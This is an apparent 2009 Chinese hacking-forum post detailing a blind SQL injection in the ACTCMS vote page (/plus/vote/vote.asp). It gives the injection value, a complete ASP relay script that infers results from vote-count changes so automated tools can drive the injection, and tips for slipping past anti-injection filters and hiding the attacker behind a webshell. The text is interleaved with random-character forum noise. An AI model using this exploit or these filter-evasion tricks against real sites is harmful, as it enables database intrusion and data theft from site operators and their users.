注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
/ r8 p) b% L% s4 v0 U+ L4 m2 v) _链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
: i9 r: |$ s5 \/ L/ K+ W关于actcms漏洞的利用  by 3x qq:381862589
  j! b" o, |' f+ z转载请注明以上
, h( ~- c2 K) @! u$ I0 }( n漏洞文件：
5 i  D9 S9 k" W/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
  y8 l5 G# g6 ~3 i- B/ l+ O
3 d/ g9 a  e  Q+ y1 C/ J0 x2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

3    response.end   
! U6 {) R7 w" W2 s7 k
4    end if   

5    for i=1 to request("voted").count   
+ d  `, p. D, m8 |2 g: ]) p
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
& N1 k6 v8 u* \' x
7    next   

( b, c) q- V- p& A  {8....   

# d# r, c# M; R8 X, V9response.Redirect "index.asp?id="&id&""   
% c! O: F5 h' Y. F- L2 h. x投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
/ w' s2 M# D$ ^0 v2 ^            失败票数不变
如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

2009-12-27 13:20

. I- O5 T3 `0 P! f; H4 D9 g利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
3 c8 |% q( V3 ~3 X% w0 R( J: w
本帖隐藏的内容需要回复才可以浏览
4 O3 O% u6 G. `4 b, @' D我们用注入中转来实现这个注入具体代码如下：
0 H  T3 r# Q6 Q2 ]先用寂寞的刺猬大牛的注入中转生成jmget.asp
' L+ g' h' J3 ^  u* T+ \* H' l注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
1 {0 P# _( P  ]! I$ s
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

" j9 C1 ~! d! b6 K  p02JmdcwName=request("jmdcw")
7 E+ `( y+ u7 |9 @
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

, z, j9 |- _: H# @/ H: }7 B- M04JmStr="id=1&voted=-1 or 1="&JmdcwName
; J9 F/ B0 Q( {+ e  O- \
: V- |2 f2 V1 M5 J05JmStr=URLEncoding(JmStr)
: ?8 H2 `! k- z2 i/ j2 E1 O
9 ^3 _$ ]$ O7 k- o. ^' Q( L06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
8 C# x; v, K7 X# H# [( r
% W5 `' p; R* F9 T7 K07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
+ m$ e0 [$ P- d; W9 c4 X$ e
1 e# K4 E+ s+ Y3 i" i; d5 l" Y8 |08testurl=testurl & "?" & JmStr

09JMUrl=JMUrl & "?" & JmStr

; n8 Z  c: N& b4 r  R- Z% a10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
. F7 r& V# @0 `# ?% z5 H
4 _  c! u: i$ B9 F3 C4 v( ?11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
8 A) I6 W5 U8 [5 ~& j
$ t; p1 p7 u7 g% n  H; h$ }0 Q% A12JmCok=replace(JmCok,chr(32),"%20")  

13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
) z; q4 l' [- _8 Z4 _& Q; x' L! S
% ?" t" ?0 s( S% F& l14  

) G9 C8 I$ @' y15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

16  

17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
" Z# r9 e2 h" d
18response.write test1&""&test2&""

19  
8 I1 s' k& w+ C+ h' q
) I5 X' U0 J$ i' h20if test1=test2 then '如前后记录相等，表示失败
2 j1 a" I; p" f4 g* s
, |! o" c2 d( @& o21  response.write "failed"

9 w/ {6 X8 [- S7 B* j+ }22else
' v, S& ?3 T! o' ?* R
* {- h9 Z, d8 G/ L$ ]6 B7 Q# E# m( ^' @23  response.write "succeed"

4 a) m% @& R) n9 v. n5 Y7 U% f24end if  

  k% a: ]* P1 B  `4 v/ P25  
  r. |6 i9 z! L) R
) ~- J' _7 }! l' W0 a26response.write "by 3x"

27  

# Z8 X7 y4 A$ }/ Z7 e% T28  

29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

4 w3 E8 J: e# _30Dim Http

31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

32With Http
$ g3 M; J  x( X' L- j
" l" p* }( \8 ?% J0 c33  

! \% P4 W; t" d- @- O- {$ O34.Open "GET",PostUrl,False
% i" g' ~0 K" V
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

9 R0 Q3 f# C5 `4 i36.SetRequestHeader "Referer",PostRef
9 e. k9 g) N& j4 l% f% l+ G0 `9 H6 U
2 p4 J3 B4 q) O  \5 e6 W/ ?37.SetRequestHeader "Cookie",PostCok
* `6 O" f+ W. [1 B3 y  F) \
38.Send ()
5 X8 L" K/ Q& A8 ~8 e
% e; S+ B! I' S; d39PostData = .ResponseBody

40End With

41Set Http = Nothing
$ F- B+ P$ I1 d% d8 N
& D9 D  @$ N5 U% |% L42PostData =bytes2BSTR(PostData)

- ?5 P4 i3 _  W. X5 [" y- n$ s" v43End Function
) ~% O7 q* T* X' R, J5 {
44  

8 n+ {- s- ?* k# O0 Z. P. y45  

46Function bytes2BSTR(vIn)
/ P5 g; e4 n& d8 S# l- L9 [+ [
47Dim strReturn
% c. \; ]! [/ ]2 }; b2 V7 r- F! n
48Dim I, ThisCharCode, NextCharCode

49strReturn = ""

50For I = 1 To LenB(vIn)
2 E, j$ e; Z5 {0 m  Q' |
5 `) c6 K, o7 z( G. a51ThisCharCode = AscB(MidB(vIn, I, 1))
/ }4 W7 \+ G# o( _3 J
52If ThisCharCode < &H80 Then
9 u9 _+ Q2 U/ X
53strReturn = strReturn & Chr(ThisCharCode)

54Else

55NextCharCode = AscB(MidB(vIn, I + 1, 1))

56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

57I = I + 1

- k! `' S" K7 H5 z) p% T& J2 Q$ c" d58End If
- T6 B( |' v) J# ]% @3 J! F
  I* m% D1 U) k2 P59Next

60bytes2BSTR = strReturn
, {/ q; y, S" }# b/ S' ^* S3 K
* W! n4 a$ m1 d- G) b8 Z$ u61End Function

  E( Q5 U# r# s. b62  

63Function URLEncoding(vstrin)  
4 W( c, _+ L$ ~
64strReturn=""
: }' ]7 ]8 L! }5 K1 r! M  n
5 u6 V1 {6 }+ C" b65Dim i

! Z4 h7 z  x" r- i- g1 M6 ?9 N66For i=1 To Len(vstrin)
0 P0 c! C- X% T4 X. _3 D/ f8 B
67ThisChr=Mid(vstrin,i,1)
3 M6 _! k7 F" F( v9 x$ u
68if Abs(Asc(ThisChr))< &HFF Then

5 A% p' ]0 C$ q6 `69strReturn=strReturn & ThisChr

; t* W- \- `# o70Else

71InnerCode=Asc(ThisChr)

) v: a1 V  x; n0 ]/ F: O72If InnerCode<0 Then

) M9 r& P0 o! B0 }$ R- n6 \7 D8 j73InnerCode=InnerCode + &H10000
: R2 @7 @* }. H3 ]' Z: I7 O6 w
74End If

, B& J' d( q( U1 {$ l: U$ z75Hight1=(InnerCode And &HFF00) \&HFF
3 o4 D7 R6 A7 s9 m! @  _# e
76Low1=InnerCode And &HFF

77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
: f: W7 C& b, K6 u
0 V+ z; y* ~1 G/ }& g78End if

79Next
, c- }) E- a( }
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

3 \, @! ^' Q- Z: x; F4 W81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn

84End Function
+ `2 ^, N/ A3 c1 r4 Y1 s# T) c
85  

86function getSt(body)

0 h6 g$ z( @. M" O3 e5 r87  startpot=instr(body,"投票人数：")+len("投票人数：")
$ }% O: D3 ^5 M9 k3 P; a, o
& {( U* ?; c( n88  endpot=instr(startpot,body," ")
# H3 o. B# e0 [% f$ i
89  getSt=mid(body,startpot,endpot-startpot)
/ {8 Y* {2 r6 d
6 p' X& z# |0 H; P( f8 X- E0 U90end function
+ _5 y1 C0 X& D5 `* [
4 T4 c! w- H3 g& t* O91%>
5 W, w- T5 P' g: u% ]  ]9 M$ U( Y注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
2 _% b) u. Z5 C测试下效果：
投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
0 z- j5 @% ^3 T* ]- P
5 M. L" h* Y; b/ @' \9 a5 o+ N2009-12-27 13:29
投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

2009-12-27 13:29
6 u$ a3 C; P% m-------------------------------------------------------------------------------
! Q$ }8 M  Q6 D6 T& O再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
2 [* N: j5 W0 ~6 Q5 F, d5 e% t很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
* J2 ?5 Z/ B- X5 r, X-------------------------------------------------------------------------------
# \1 j# p9 V- @/ D$ N, h& u1 ]- d
* C8 P) O5 K3 \注入中转的一些其他应用
2 e& K# K$ I6 b& ~! a* n其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
1 K8 k5 I: d  R) S+ T4 F" F2 }